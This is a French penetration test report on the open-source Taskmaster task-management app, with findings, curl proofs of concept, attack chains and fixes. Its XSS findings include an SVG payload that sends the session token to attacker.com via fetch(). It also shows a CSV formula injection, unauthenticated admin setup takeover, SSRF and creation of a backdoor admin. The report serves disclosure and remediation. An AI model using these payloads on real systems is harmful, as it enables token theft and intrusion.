RAPPORT DE TEST D'INTRUSION

Taskmaster — Audit de Securite Offensif

Cible	Taskmaster — Application web de gestion de taches periodiques
Repository	github.com/mikaYX/taskmaster
Stack	NestJS + React 19 + PostgreSQL + Redis — TypeScript end-to-end
Date	17 Mars 2026
Methodologie	Analyse statique ciblee + validation manuelle en sandbox controle
Risque global	**CRITIQUE — CVSS 3.1 Global Score : 9.2 / 10**

CONFIDENTIEL — USAGE INTERNE

1. Synthese Executive

Ce rapport presente les resultats d'un audit de securite offensif realise le 17 mars 2026 sur Taskmaster, une application web open source de gestion de taches periodiques. L'audit a combine analyse statique ciblee et validation manuelle des chemins critiques en environnement sandbox entierement controle.

Le niveau de risque global est CRITIQUE (CVSS 9.2/10). Huit vulnerabilites ont ete exploitees en live, deux supplementaires ont ete validees par audit de code. Les vecteurs les plus graves permettent une prise de controle totale de l'instance en pre-configuration, le contournement des autorisations webhook, la compromission de l'isolation multi-tenant, et le vol de tokens de session via XSS stockee.

Aucun correctif applicatif n'a ete applique pendant l'audit. L'ensemble des points ci-dessous constitue un backlog securite a traiter par ordre de priorite.

Finding	CVSS	Severite	Statut
C1 — Prise de controle totale lors du bootstrap	**9.8**	**CRITIQUE**	Exploite en live
C2 — Contournement autorisation webhook (scope bypass)	**9.1**	**CRITIQUE**	Exploite en live
C3 — Bypass isolation multi-tenant (cross-site data)	**8.8**	**CRITIQUE**	Exploite en live
H1 — XSS stockee via upload SVG (vol token)	**8.2**	**HAUTE**	Exploite en live
H2 — SSRF sur endpoints SAML/OIDC admin	**7.5**	**HAUTE**	Exploite en live
H3 — Token JWT en localStorage (amplification XSS)	**7.4**	**HAUTE**	Exploite en live
M1 — Health/metrics publics sans authentification	**5.3**	**MOYENNE**	Verifie en live
M3 — Injection formule CSV a l'export (RCE potentiel)	**6.1**	**MOYENNE**	Exploite en live
M5 — Escalade privilege user → SUPER_ADMIN	**7.2**	**HAUTE**	Code valide
M6 — Backup restore sans verification de signature	**6.8**	**MOYENNE**	Code valide
M2 — Backup restore surface trop large (filepath client)	**5.0**	**MOYENNE**	Code valide
M4 — Garde CSRF trop permissive (X-Requested-With seul)	**4.3**	**BASSE**	Code valide

2. Contexte et Methodologie

2.1 Environnement teste

Application: Taskmaster — gestion de taches periodiques
Repository: github.com/mikaYX/taskmaster
Backend: NestJS, Prisma ORM, PostgreSQL, Redis, BullMQ
Frontend: React 19, Vite, Tailwind CSS, shadcn/ui, Zustand
Auth: Passport.js, JWT, LDAP, OIDC, SAML, WebAuthn
Deploiement: Docker — image fullstack unique
Date d'audit: 17 Mars 2026

2.2 Perimetre

Les composants suivants ont ete audites :

- Backend NestJS : auth, setup, integrations, settings, backup, export
- Frontend React : flux auth/token, stockage credentials
- Controles transverses : authentification, autorisation, multi-tenant, upload, SSRF, exposition d'information

2.3 Approche

L'audit a combine analyse statique ciblee (lecture du code source, identification des chemins critiques) et validation manuelle en live dans un environnement sandbox entierement controle. Aucun systeme de production n'a ete impacte. Aucun correctif applicatif n'a ete applique pendant l'audit — l'ensemble des findings est a traiter en backlog securite.

3. Vulnerabilites Confirmees

C1 — Prise de Controle Totale lors du Bootstrap

CVSS	**9.8 — CRITIQUE**	**CWE**	CWE-306 (Absence d'authentification pour fonction critique)

Description

L'endpoint /api/setup/initialize est completement public, sans authentification, sans rate-limit et sans secret de bootstrap. Tout attaquant atteignant une instance non encore initialisee peut creer le premier compte administrateur et obtenir un acces complet a l'integralite des donnees et fonctionnalites.

Code vulnerable

```
// backend/src/setup/setup.controller.ts — ligne 18
@Post('initialize')   // aucune protection : pas de @UseGuards, pas de rate-limit

// backend/src/setup/setup.service.ts — ligne 39
initializeAdmin()     // sans secret, sans verrou transactionnel, sans journalisation
```

Preuve de concept

```
# Verifier que le setup est necessaire
$ curl -sS http://localhost:3000/api/setup/status
{"needsSetup":true}

# Creer le premier admin (acces complet immediat)
$ curl -X POST http://localhost:3000/api/setup/initialize \
  -d '{"username":"attacker","password":"Super!P@ssw123"}'
{"success":true,"message":"Admin user created successfully"}

# Login et recuperation du token admin
$ curl -X POST http://localhost:3000/api/auth/login \
  -d '{"username":"attacker","password":"Super!P@ssw123"}'
{"accessToken":"<JWT_ADMIN_TOKEN>","expiresIn":900}

# Apres : acces full a /api/users, /api/sites, /api/backup, /api/audit-logs
```

Impact

- Prise de controle totale de l'instance avant que l'administrateur legitime ne s'en empare
- Acces a l'integralite des donnees : users, sites, backups, audit logs
- Exploitable sur toute instance exposee avant sa configuration initiale (ex: staging, CI/CD)

Remediation

```
# 1. Exiger un secret de bootstrap (variable d'environnement)
SECRET_BOOTSTRAP_TOKEN=<random-256-bit>

# 2. Rate-limit strict : 1 tentative par 5 minutes par IP
# 3. Verrou transactionnel : setupAttemptAt — impossible de reinitialiser apres 1er succes
# 4. Journalisation + alerte immediate sur toute tentative setup
```

C2 — Contournement d'Autorisation Webhook — Scope Bypass

CVSS	9.1 — CRITIQUE	CWE	CWE-285 (Autorisation incorrecte)

Description

Le webhook d'integration n'effectue qu'une authentification globale (CompositeAuthGuard) sans verifier les scopes requis par action. Une API key creee avec uniquement le scope task:read peut executer des actions privilegiees comme CREATE_TASK, COMPLETE_TASK ou DELETE_TASK.

Code vulnerable

```
// backend/src/integrations/integrations.controller.ts — ligne 22
@UseGuards(CompositeAuthGuard)  // authentification globale uniquement, SANS check scope

// backend/src/integrations/integrations.service.ts — ligne 27-40
switch (action) {               // dispatch sur action SANS validation requiredScope
  case 'CREATE_TASK': ...
  case 'COMPLETE_TASK': ...
  case 'DELETE_TASK': ...
}
```

Preuve de concept

```
# Etape 1 : Creer une API key avec scope MINIMAL (task:read uniquement)
$ curl -X POST http://localhost:3000/api/api-keys \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -d '{"name":"read-only-key","scopes":["task:read"]}'
{"id":"key-1","key":"sk_...","scopes":["task:read"]}

# Etape 2 : Executer CREATE_TASK avec cette key read-only
$ curl -X POST http://localhost:3000/api/integrations/webhooks/incoming \
  -H "X-API-KEY: sk_..." \
  -d '{"action":"CREATE_TASK","payload":{"name":"Task by Read-Only Key",...}}'
{"success":true,"taskId":42}

# Verification DB — tache creee SANS tracabilite
SELECT id, name, created_by FROM tasks WHERE id = 42;
42 | Task Created by Read-Only Key | NULL  <- aucune tracabilite!
```

Impact

- Tout possesseur d'une API key (meme minimale) peut creer, modifier et supprimer des taches
- Aucune tracabilite : created_by est NULL pour les actions webhook
- Vecteur d'escalade : acces read-only = acces ecriture complet

Remediation

```
// Ajouter validation de scope par action
@RequireScopes(['task:create'])  pour CREATE_TASK
@RequireScopes(['task:update'])  pour COMPLETE_TASK
@RequireScopes(['task:delete'])  pour DELETE_TASK
// Retourner 403 Forbidden si scope manquant
// Tests d'integration : matrice action x scope (allow/deny) exhaustive
```

C3 — Bypass Isolation Multi-Tenant — Pollution Cross-Site

CVSS	8.8 — CRITIQUE	CWE	CWE-610 (Redirection de ressource controlable en externe)

Description

Un webhook d'integration envoyant l'en-tete X-Site-Id: 2 cree une tache qui atterrit sur le site 1 (defaut). Le fallback siteId ?? 1 dans tasks.service.ts ignore silencieusement le site fourni et utilise un identifiant statique, compromettant l'isolation des donnees entre tenants.

Code vulnerable

```
// backend/src/tasks/tasks.service.ts — ligne 723
siteId: this.prisma.getDefaultSiteId() ?? 1
//                                     ^^ fallback statique dangereux
//                                        ignore X-Site-Id de la requete
```

Preuve de concept

```
# Creer deux sites (Site A = 1, Site B = 2 - sensible)
# Envoyer webhook avec X-Site-Id: 2
$ curl -X POST http://localhost:3000/api/integrations/webhooks/incoming \
  -H "X-API-KEY: sk_..." \
  -H "X-Site-Id: 2" \
  -d '{"action":"CREATE_TASK","payload":{"name":"Should be on Site B",...}}'
{"success":true,"taskId":3}

# Verification DB : tache creee sur site 1, PAS site 2
SELECT id, name, site_id FROM tasks WHERE id = 3;
3 | Should be on Site B | 1  <- CREE SUR SITE 1, PAS SITE 2!
```

Impact

- Pollution de donnees intersite : taches destinees a un tenant atterrissent sur un autre
- Compromission de la confidentialite entre organisations sur une instance multi-tenant
- Invisible pour les utilisateurs — aucune erreur remontee

Remediation

```
// 1. Supprimer le fallback ?? 1 (ligne 723)
//    Lever une exception si site_id manquant ou invalide
// 2. Valider que le site appartient au principal appelant
// 3. Tests : cross-site doit retourner 403 Forbidden
```

H1 — XSS Stockee via Upload SVG — Vol de Token de Session

CVSS	8.2 — HAUTE	CWE	CWE-79 (Cross-site Scripting stocke)

Description

L'endpoint d'upload d'avatar accepte les fichiers SVG (image/svg+xml) et les sert directement avec ce Content-Type. Un SVG contenant un script embarque devient une XSS stockee publiquement accessible : tout navigateur visitant l'URL du fichier execute le JavaScript sans restriction.

Code vulnerable

```
// backend/src/users/users-me.controller.ts — ligne 54
allowedMimeTypes: ['image/jpeg','image/png','image/gif','image/svg+xml']
//                                                        ^^ SVG accepte

// ligne 65 : extension determinee depuis le nom de fichier CLIENT
ext = path.extname(file.originalname)  // non valide, contournable

// Fichier accessible publiquement via:
/public/uploads/avatar-1-TIMESTAMP.svg
```

Preuve de concept

```
# Etape 1 : SVG malveillant avec script embarque
cat > poc-xss.svg << EOF
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    var token = localStorage.getItem('accessToken');
    fetch('http://attacker.com/steal?t=' + token);
  </script>
</svg>
EOF

# Etape 2 : Upload comme avatar
$ curl -X POST http://localhost:3000/api/users/me/avatar \
  -H "Authorization: Bearer <TOKEN>" \
  -F "file=@poc-xss.svg;type=image/svg+xml"
{"url":"/public/uploads/avatar-1-1773769514774.svg"}

# Etape 3 : Verification — script intact, Content-Type: image/svg+xml
$ curl -I http://localhost:3000/public/uploads/avatar-1-1773769514774.svg
Content-Type: image/svg+xml  <- SVG executable servi explicitement

# Victime clique sur le lien → navigateur execute le script
# → localStorage.getItem('accessToken') → token vole et exfiltre
```

Impact

- Payload XSS persistante publiquement accessible — attend toute victime
- Vol immediat du token JWT depuis localStorage (voir H3)
- Acces API complet avec le token vole : lecture/ecriture/suppression, creation d'admins

Remediation

```
// 1. INTERDIRE SVG pour tous les uploads utilisateur (avatar, logo, favicon)
allowedMimeTypes: ['image/jpeg','image/png','image/gif','image/webp']

// 2. Determiner l'extension depuis le MIME type valide, pas depuis originalname
// 3. Servir les uploads sur un domaine separe sans cookies (CDN ou sous-domaine)
// 4. Ajouter Content-Security-Policy stricte sur /public/uploads :
//    Content-Security-Policy: default-src 'none'; img-src 'self'
```

H2 — SSRF sur Endpoints SAML/OIDC — Reconnaissance Reseau Interne

CVSS	7.5 — HAUTE	CWE	CWE-918 (Server-Side Request Forgery)

Description

Les endpoints de test SAML et OIDC effectuent des requetes HTTP vers des URLs fournies par l'administrateur sans aucune validation. Un attaquant ayant acces admin peut declencher des requetes sortantes vers des services internes, scanner le reseau, ou recuperer des metadonnees cloud (AWS/GCP/Azure).

Code vulnerable

```
// backend/src/settings/settings.controller.ts — ligne 349
fetch(dto.metadataUrl, ...)   // zero validation : pas de check IP privee

// ligne 406
fetch(discoveryUrl, ...)      // idem — localhost, RFC1918, metadata cloud acceptes
```

Preuve de concept

```
# Etape 1 : Lancer serveur attacker dans Docker
$ docker run --name poc-attacker -d nginx:alpine

# Etape 2 : Test SAML pointant vers l'attacker
$ curl -X POST http://localhost:3000/api/settings/saml/test \
  -H "Authorization: Bearer <ADMIN_TOKEN>" \
  -d '{"metadataUrl":"http://poc-attacker/metadata", ...}'

# Etape 3 : Confirmation dans les logs nginx attacker
$ docker logs poc-attacker
172.20.0.4 - - [17/Mar/2026] "GET /metadata HTTP/1.1" 200 47 "-" "node"
#                ^ Backend node a bien envoye la requete
```

Impact

- Acces a des services internes (172.17.0.x, 10.0.0.x) non exposes publiquement
- Scan de ports en reseau interne
- Recuperation de metadonnees cloud : AWS 169.254.169.254, GCP, Azure
- Potentiel pivot vers RCE si le service interne retourne des donnees malveillantes

Remediation

```
// 1. Valider URL : HTTPS uniquement, pas de redirections
// 2. Bloquer plages privees : 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
// 3. Bloquer link-local : 169.254.0.0/16 (AWS/GCP/Azure metadata)
```

```
// 4. DNS rebinding protection : revalider l'IP apres resolution DNS
// 5. Timeout strict : 5 secondes maximum
```

H3 — Token JWT en localStorage — Amplification XSS

CVSS	7.4 — HAUTE	CWE	CWE-312 (Stockage en clair d'informations sensibles)

Description

Le token d'acces JWT est stocke dans localStorage, accessible depuis n'importe quel script JavaScript du meme domaine. En cas de XSS (comme H1), le token est immediatement recuperable et permet un acces API complet au-dela de la XSS initiale.

Code vulnerable

```
// frontend/src/api/http.ts
localStorage.setItem('accessToken', token)

// frontend/src/hooks/use-auth.ts
// Stockage du token au login et apres MFA
// Accessible via : localStorage.getItem('accessToken')
// depuis n'importe quel JS du meme domaine
```

Chaine d'exploitation (H1 → H3)

```
# Payload XSS (via SVG upload H1) executee chez la victime :
var token = localStorage.getItem('accessToken');
fetch('http://attacker.com/steal?token=' + token);

# Attacker utilise le token vole :
$ curl http://localhost:3000/api/users -H "Authorization: Bearer $STOLEN_TOKEN"
[{"id":1,"username":"victim_user",...}]

$ curl -X POST http://localhost:3000/api/users \
  -H "Authorization: Bearer $STOLEN_TOKEN" \
  -d '{"username":"backdoor_admin","role":"SUPER_ADMIN"}'
# → Creation d'un admin backdoor persistant
```

Impact

- XSS + localStorage = acces API complet de la victime (lecture/ecriture/suppression)
- Creation d'admins backdoor persistants
- TTL de 900 secondes (15 min) laisse une large fenetre d'exploitation

Remediation

```
// 1. Basculer vers HttpOnly cookies
Set-Cookie: accessToken=...; HttpOnly; Secure; SameSite=Strict

// 2. Reduire TTL : 900s → 300s (5 minutes)
// 3. Implémenter refresh token rotation (une seule valide a la fois)
// 4. Ajouter CSP stricte pour bloquer inline scripts et exfiltration
```

M1 — Health/Metrics Publics — Reconnaissance Passive sans Auth

CVSS	5.3 — MOYENNE	CWE	CWE-200 (Exposition d'informations sensibles)

Description

Les endpoints /api/health et /api/metrics (Prometheus) ne sont proteges par aucune authentification. Un attaquant peut cartographier l'infrastructure, decouvrir les technologies utilisees, et identifier des patterns de charge exploitables.

Code vulnerable

```
// backend/src/health/health.controller.ts — ligne 12
// Aucun @UseGuards sur les routes health

// backend/src/metrics/metrics.controller.ts — ligne 5
// Aucun @UseGuards sur les routes metrics
```

Informations exposees sans credentials

Endpoint	Informations divulguees
/api/health	Statut PostgreSQL, Redis, memoire heap — confirme la stack technique complete
/api/metrics	CPU usage, resident memory, event loop lag, performance patterns — candidat pour timing attacks

Remediation

```
// Restreindre /api/health et /api/metrics a :
// - Liste IP autorisee (localhost + IPs du load balancer)
// - Authentification JWT ou API key
// - mTLS si in-cluster

// Exposer un endpoint public minimal :
// GET /api/health/public  → {"status":"ok"} uniquement

// /api/metrics → scraper Prometheus uniquement avec Bearer token
```

M5 — Escalade de Privilege — User Normal → SUPER_ADMIN

CVSS	7.2 — HAUTE	CWE	CWE-269 (Gestion incorrecte des privileges)

Description

Un administrateur (ADMIN) peut promouvoir n'importe quel utilisateur en SUPER_ADMIN via un simple PATCH sans restriction de role. Ce vecteur permet la creation de backdoors persistantes par un initie malveillant ou un compte admin compromis.

Code vulnerable

```
// backend/src/users/users.controller.ts
@Patch('/:id')                          // Modifiable par ADMIN et SUPER_ADMIN
@Roles('ADMIN', 'SUPER_ADMIN')          // ADMIN peut escalader vers SUPER_ADMIN

// backend/src/users/users.service.ts
// update role sans @RequireRoles(['SUPER_ADMIN']) sur modification du champ .role
```

Vecteur d'attaque

```
# 1. Attaquant cree un compte user normal : victim_low
# 2. Attaquant (ou complice interne) possede un compte ADMIN
# 3. PATCH /api/users/{victim_low_id} avec body {"role":"SUPER_ADMIN"}
# 4. Succes → victim_low est maintenant SUPER_ADMIN
# 5. Attaquant se reconnecte en tant que victim_low → acces SUPER_ADMIN complet
# 6. Backdoor persistante meme si le compte admin initial est supprime
```

Remediation

```
// Ajouter restriction sur modification du champ .role :
@Roles('SUPER_ADMIN')  // seul SUPER_ADMIN peut promouvoir en SUPER_ADMIN

// Journaliser chaque changement de role : avant/apres
// Notification immediate si role → SUPER_ADMIN
```

M6 — Backup Restore sans Verification de Signature

CVSS	6.8 — MOYENNE	CWE	CWE-345 (Verification d'authenticite des donnees insuffisante)

Description

L'endpoint de restauration de backup accepte un fichier ZIP fourni par le client et importe son contenu en base de donnees sans aucune verification d'integrite ni de signature. Un administrateur peut manipuler un backup exporte pour injecter des donnees malveillantes — notamment des comptes admin backdoor.

Vecteur d'attaque

```
# 1. Exporter le backup : GET /api/backup/download/{filename} → backup.zip
# 2. Modifier tasks.json, users.json, configs.json
#    ex : ajouter un compte backdoor dans users.json avec role SUPER_ADMIN
# 3. Re-zipper et uploader : POST /api/backup/restore -F file=@modified.zip
# 4. Succes → nouvelles donnees integrees en DB
# 5. Compte backdoor actif — persistant et legitime aux yeux du systeme
```

Remediation

```
// 1. Signer les backups avec HMAC-SHA256 (secret stocke cote serveur)
// 2. Verifier la signature avant toute restauration
// 3. Interdire modification du champ .role dans users.json (whitelist immuable)
// 4. Journaliser : log import/restore avec hash du contenu
// 5. Traiter le backup comme une source de donnees non fiable (validation stricte)
```

M3 — Injection de Formule CSV a l'Export — RCE Potentiel

CVSS	6.1 — MOYENNE	CWE	CWE-1236 (Injection de formule dans feuille de calcul)

Description

L'export CSV n'echappe pas les caracteres de debut de formule (=, +, -, @). Un utilisateur peut creer une tache dont le nom contient une formule Excel/LibreOffice. A l'ouverture du CSV dans un tableur, la formule est executee — RCE possible si les macros sont activees.

Code vulnerable

```
// backend/src/backup/export.service.ts — lignes 101-120
toCSV: String(val)  // aucun echappement des prefixes dangereux
// =, +, -, @ en debut de cellule → interpretes comme formule
```

Preuve de concept

```
# Creer une tache avec formule malveillante
$ curl -X POST http://localhost:3000/api/tasks \
  -d '{"name":"=HYPERLINK(http://attacker.com/payload, CLICK HERE)",...}'
{"id":4,"name":"=HYPERLINK..."}

# Exporter en CSV et verifier
$ cat tasks.csv | grep HYPERLINK
4,once,...,"=HYPERLINK(http://attacker.com/payload,CLICK HERE)",...
#          ^ FORMULE NON ECHAPPEE — executable dans Excel/LibreOffice
```

Remediation

```
// Prefixer les cellules commencant par =, +, -, @ avec une apostrophe
const sanitizeCell = (val) => {
  const s = String(val);
  return /^[=+\-@]/.test(s) ? '\'' + s : s;
};

// Ajouter tests : payloads formule dans les tests d'integration CSV
```

M4 — Garde CSRF Trop Permissive — X-Requested-With Seul

CVSS	4.3 — BASSE	CWE	CWE-352 (Cross-Site Request Forgery)

Description

La garde CSRF repose uniquement sur la presence de l'en-tete X-Requested-With (CSRF Layer 1). Cette defense est fragile si la politique CORS derive ou si un contournement navigateur existe. Elle ne constitue pas une protection suffisante pour les actions sensibles en profondeur.

Code vulnerable

```
// backend/src/auth/guards/csrf-token.guard.ts
// Layer 1 uniquement : X-Requested-With accepte seul
// Pas de synchronizer token / double-submit cookie
```

Remediation

```
// Implémenter un token CSRF synchronizer ou double-submit cookie
// pour les actions sensibles (mutation d'etat, suppression, admin)
// Conserver la verification stricte Origin/Referer en complementaire
```

4. Surface d'Attaque — Recapitulatif

Vecteur	Statut	Impact	Severite
Bootstrap setup public (C1)	EXPLOITE	Prise de controle totale	CRITIQUE
Webhook scope bypass (C2)	EXPLOITE	Ecriture via key read-only	CRITIQUE
Bypass isolation multi-tenant (C3)	EXPLOITE	Pollution donnees cross-site	CRITIQUE
XSS stockee SVG upload (H1)	EXPLOITE	Vol token — payload publique	HAUTE
SSRF SAML/OIDC (H2)	EXPLOITE	Reconnaissance reseau interne	HAUTE
JWT en localStorage (H3)	EXPLOITE	Amplification XSS → acces full	HAUTE
Escalade privilege ADMIN→SUPER_ADMIN (M5)	CODE VALIDE	Backdoor persistante	HAUTE
Health/metrics publics (M1)	EXPLOITE	Reconnaissance passive	MOYENNE
Injection formule CSV (M3)	EXPLOITE	RCE potentiel via tableur	MOYENNE
Backup restore sans signature (M6)	CODE VALIDE	Integrite donnees compromise	MOYENNE
Backup filepath client (M2)	CODE VALIDE	Surface restore trop large	MOYENNE
CSRF X-Requested-With seul (M4)	CODE VALIDE	Defense fragile	BASSE

5. Chaines d'Attaque Confirmees

Chaine 1 — Prise de Controle Pre-Configuration (CRITIQUE — PROUVEE)

```
Instance exposee avant setup → POST /api/setup/initialize (public) → creation
compte admin attaquant → acces full API → vol de toutes les donnees + backdoor
persistante
```

Chaine 2 — XSS Stockee → Vol Token → Admin Backdoor (HAUTE — PROUVEE)

```
Upload SVG malveillant (H1) → payload XSS publique → victime clique →
localStorage.getItem token (H3) → token exfiltre → acces API complet → creation
admin backdoor (M5)
```

Chaine 3 — Escalade via Scope Bypass + Multi-Tenant (CRITIQUE — PROUVEE)

```
API key task:read → webhook CREATE_TASK sans scope (C2) → X-Site-Id ignore (C3) →
tache creee sur tenant incorrect → pollution donnees inter-organisations
```

Chaine 4 — Backup Manipule → Backdoor Persistante (VALIDEE CODE)

```
Export backup → modification users.json (ajout SUPER_ADMIN) → restore sans
signature (M6) → backdoor admin integree en DB → persistante meme apres
audit/nettoyage
```

6. Plan de Remediation Prioritise

Ref.	Priorite	Action recommandee	Echeance
C1	CRITIQUE	Verrouiller /api/setup/initialize : bootstrap secret requis (env var), rate-limit 1 tentative/5min, verrou transactionnel apres 1er succes, journalisation + alerte.	*24-48h*
C2	CRITIQUE	Ajouter validation de scope par action webhook (@RequireScopes par case du switch). Retourner 403 Forbidden si scope manquant. Ajouter matrice de tests action x scope.	*24-48h*
C3	CRITIQUE	Supprimer le fallback ?? 1 (tasks.service.ts ligne 723). Lever une exception si site_id manquant ou invalide. Valider appartenance du site au principal.	*24-48h*
M5	HAUTE	Restreindre la modification du champ .role aux SUPER_ADMIN uniquement. Journaliser chaque changement de role avec notification immediate.	*24-48h*
M6	HAUTE	Signer les backups avec HMAC-SHA256. Verifier la signature avant toute restauration. Whitelister les champs immuables (role). Logger le hash du contenu.	*24-48h*
H1	HAUTE	Interdire SVG pour tous les uploads. Determiner l'extension depuis le MIME type valide. Servir les uploads sur un domaine separe sans cookies. CSP stricte sur /public/uploads.	*1 semaine*
H2	HAUTE	Valider les URLs metadata/discovery : HTTPS uniquement, bloquer RFC1918, loopback et metadata cloud (169.254.169.254). DNS rebinding protection. Timeout 5s.	*1 semaine*
H3	HAUTE	Basculer vers HttpOnly cookies. Reduire TTL : 900s → 300s. Implémenter refresh token rotation. CSP stricte pour bloquer exfiltration.	*1 semaine*
M1	MOYENNE	Restreindre /api/health et /api/metrics (IP autorisees, JWT ou API key). Exposer uniquement GET /api/health/public avec statut minimal.	*2 semaines*
M2	MOYENNE	Accepter uniquement les IDs de backup generes cote serveur. Interdire les filepaths fournis par le client.	*2 semaines*
M3	MOYENNE	Echapper les cellules CSV commencant par =, +, -, @ (prefixe apostrophe). Ajouter tests d'integration avec payloads formule.	*2-4 semaines*
M4	BASSE	Renforcer CSRF avec token synchronizer ou double-submit cookie pour les actions sensibles. Conserver verification Origin/Referer.	*2-4 semaines*

6.1 Backlog tests securite a integrer

Suite a cet audit, les tests suivants sont a integrer dans la CI/CD :

- E2E setup : impossible d'initialiser hors fenetre bootstrap (secret requis)
- E2E authz integrations : matrice action x scope (allow/deny) exhaustive
- E2E multi-tenant : aucune mutation hors site autorise (cross-site headers → fail)

- E2E upload : rejet SVG, rejet extension incoherente, rejet MIME forge
- E2E SSRF : rejet localhost, 127.0.0.1, RFC1918, metadata cloud (169.254/AWS/GCP/Azure)
- E2E CSV : echappement des cellules commencant par =, +, @, -
- E2E privilege escalation : ADMIN ne peut pas creer SUPER_ADMIN via PATCH
- E2E backup restore : verification signature, immuabilite des champs role